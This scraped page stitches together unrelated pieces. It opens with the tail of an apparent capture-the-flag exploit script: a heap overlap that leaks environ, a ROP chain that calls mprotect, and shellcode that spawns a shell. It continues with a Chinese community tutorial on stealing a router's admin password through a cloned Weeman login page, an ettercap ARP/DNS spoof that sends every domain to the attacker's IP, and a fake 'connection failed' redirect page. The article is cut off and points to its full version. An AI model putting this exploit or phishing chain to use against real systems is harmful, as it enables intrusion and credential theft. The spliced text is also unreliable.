sh.sendlineafter('>>> ', 'n')
def insert_tab(text):
sh.sendlineafter('>>> ', 'i')
sh.sendline(str(0))
sh.sendline(text)
def cut(num):
sh.sendlineafter('>>> ', 'c')
sh.sendline(str(0) + ' ' + str(num))
def paste():
sh.sendlineafter('>>> ', 'p')
sh.sendline(str(0))
def write(content):
for i in range(len(content)):
sh.sendlineafter('>>> ', 'r')
sh.sendline(str(i) + ' ' + str(i + 1))
sh.sendline(content[i])
def select(index):
sh.sendlineafter('>>> ', 's')
sh.sendline(str(index))
def display(start, end):
sh.sendlineafter('>>> ', 'd')
sh.sendline(str(start) + ' ' + str(end))
insert_tab('a' * 0x18)
cut(0x18)
new_tab()
insert_tab('b' * 0xf8)
cut(0xf0)
new_tab()
paste()
write(p64(0x21) * 8 + p64(8) + p64(0) + p64(elf.symbols['environ']))
select(1)
display(0, 8)
environ_addr = u64(sh.recvn(8))
log.success('environ_addr: ' + hex(environ_addr))
select(2)
write(p64(0x21) * 8 + p64(0x100) + p64(0) + p64(environ_addr - 0x130 - 8)) # main return
select(1)
# main return
write(p64(0x6d9360) + p64(0x0000000000400bcb)) # leave; ret
layout = [
0,
0x00000000004006a6, #: pop rdi; ret;
0x6d9000,
0x0000000000411583, #: pop rsi; ret;
0x2000,
0x000000000044d836, #: pop rdx; ret;
7,
elf.symbols['mprotect'],
0x00000000004ae2a7, #: jmp rsp;
]
shellcode = asm('''
mov rax, 0x0068732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
mul rsi
mov al, 59
syscall
''')
new_tab()
insert_tab(flat(layout) + shellcode)
sh.sendlineafter('>>> ', 'q')
sh.interactive()
clear() | 社区文章 |
来自i春秋作者：[sn0w](http://bbs.ichunqiu.com/thread-10850-1-1.html?from=paper)
本篇文章主要介绍如何在接入无线网络后如何拿到路由器的管理权限，至于如何得到路由器连接密码可以参考 WPA-PSK无线网络的破解
，本文只提供一个思路。我们大致的思路是通过weeman伪造登录页面，ettercap进行arp欺骗DNS劫持，从而让管理员跳转到我们的钓鱼页面，欺骗输入管理密码。
测试环境：
攻击者： 192.168.0.101 kali linux 2016.1
目标管理员： 192.168.0.100 Windows 10
路由器管理地址： 192.168.0.1
首先我们需要生成一个伪造的登录页面，需要用到的工具为Weeman，关于这个的工具的介绍并不多，大家可以参考简单易用的钓鱼渗透测试工具Weeman新版发布。
1.设置伪造的目标地址：
set url [url]http://192.168.0.1/login.asp[/url]
2.设置端口号：
set port 8080
3.设置转跳地址（登录成功后的页面）： `set action_url [url]http://192.168.0.1/index.asp[/url]`
通过简单的配置就可以运行了
`run`
可以看到他已经Download了目标地址并放在了8080端口下，此时他会在在程序的根目录下生成一个index.html文件，但是我们访问后发现效果并不是很好。
其实这个脚本只是单纯的将HTML代码进行了缓存，并没有对支持网页的一些资源（CSS/JavaScript/图片）进行缓存。为了让我们的钓鱼页面更具有欺骗效果，我们对他进行一些简单的优化，首先我们打开正常的登录页面
Ctrl + S 将整站进行保存
我们将下载的文件放在与index.html同目录（weeman根目录）下。注：此处我们可以还需要改一下index.html引入的路径。
最终效果（时间原因并没有加上所有图片）：
至此，我们第一步已经完成下面我们要上利器ettercap，在这之前我们先做一下简单配置。
首先我们需要配置一下DNS文件，在etc/ettercap/etter.dns 内添加一行
`* A 192.168.0.101`
* 为通配符，这一行的意思为将所有的网站全部解析到192.168.0.101（攻击者IP）。
然后我们开启apache服务，让攻击者的电脑成为一个web服务器
`service apache2 start`
现在我们去做一个简单的转跳页面放在apache的www目录（var/www/html）下，通过这个转跳页面转到我们的钓鱼页面，当然这个转跳页面也要具有一定的欺骗性。
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript">
alert("网络连接失败，请尝试重新配置路由器！");
location.href='http://192.168.0.101:8080'; <!--钓鱼界面-->
</script>
</head>
<body>
</body>
</html>
这段代码可以实现，再打开这个后弹窗 “网络连接失败，请尝试重新配置路由器！”，然后转调至我们的钓鱼页面。 下面我们打开ettercap进行dns欺骗
..........................................................
文章较长,查看全文可点击以下i春秋原文地址：
http://bbs.ichunqiu.com/thread-10850-1-1.html?from=paper
* * * | 社区文章 |
Subsets and Splits